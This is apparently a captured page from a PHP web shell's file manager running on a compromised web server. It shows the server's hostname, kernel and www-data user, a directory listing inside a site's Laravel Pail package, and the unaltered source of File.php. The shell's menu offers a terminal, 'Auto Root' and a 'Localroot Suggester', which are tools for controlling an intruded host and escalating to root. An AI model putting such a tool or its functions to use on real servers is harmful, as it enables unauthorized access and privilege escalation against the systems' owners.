Linux vmi2545633.contaboserver.net 6.1.0-32-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.129-1 (2025-03-06) x86_64
Apache/2.4.62 (Debian)
Server IP : 127.0.0.1 & Your IP : 127.0.0.1
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
softmedya.net /
vendor /
laravel /
pail /
src /
Delete
Unzip
Name
Size
Permission
Date
Action
Console
[ DIR ]
drwxr-xr-x
2025-06-05 13:55
Contracts
[ DIR ]
drwxr-xr-x
2025-06-05 13:55
Guards
[ DIR ]
drwxr-xr-x
2025-06-05 13:55
Printers
[ DIR ]
drwxr-xr-x
2025-06-05 13:55
ValueObjects
[ DIR ]
drwxr-xr-x
2025-06-05 13:55
File.php
1.86
KB
-rw-r--r--
2025-06-05 13:55
Files.php
540
B
-rw-r--r--
2025-06-05 13:55
Handler.php
4.24
KB
-rw-r--r--
2025-06-05 13:55
LoggerFactory.php
652
B
-rw-r--r--
2025-06-05 13:55
Options.php
2.05
KB
-rw-r--r--
2025-06-05 13:55
PailServiceProvider.php
2.34
KB
-rw-r--r--
2025-06-05 13:55
ProcessFactory.php
1.84
KB
-rw-r--r--
2025-06-05 13:55
Save
Rename
<?php namespace Laravel\Pail; use Stringable; class File implements Stringable { /** * The time to live of the file. */ protected const TTL = 3600; /** * Creates a new instance of the file. */ public function __construct( protected string $file, ) { // } /** * Ensure the file exists. */ public function create(): void { if (! $this->exists()) { $directory = dirname($this->file); if (! is_dir($directory)) { mkdir($directory, 0755, true); file_put_contents($directory.'/.gitignore', "*\n!.gitignore\n"); } touch($this->file); } } /** * Determines if the file exists. */ public function exists(): bool { return file_exists($this->file); } /** * Deletes the file. */ public function destroy(): void { if ($this->exists()) { unlink($this->file); } } /** * Log a log message to the file. * * @param array<string, mixed> $context */ public function log(string $level, string $message, array $context = []): void { if ($this->isStale()) { $this->destroy(); return; } $loggerFactory = new LoggerFactory($this); $logger = $loggerFactory->create(); $logger->log($level, $message, $context); } /** * Returns the file as string. */ public function __toString(): string { return $this->file; } /** * Determines if the file is staled. */ protected function isStale(): bool { $modificationTime = @filemtime($this->file); if ($modificationTime === false) { return true; } return time() - $modificationTime > static::TTL; } }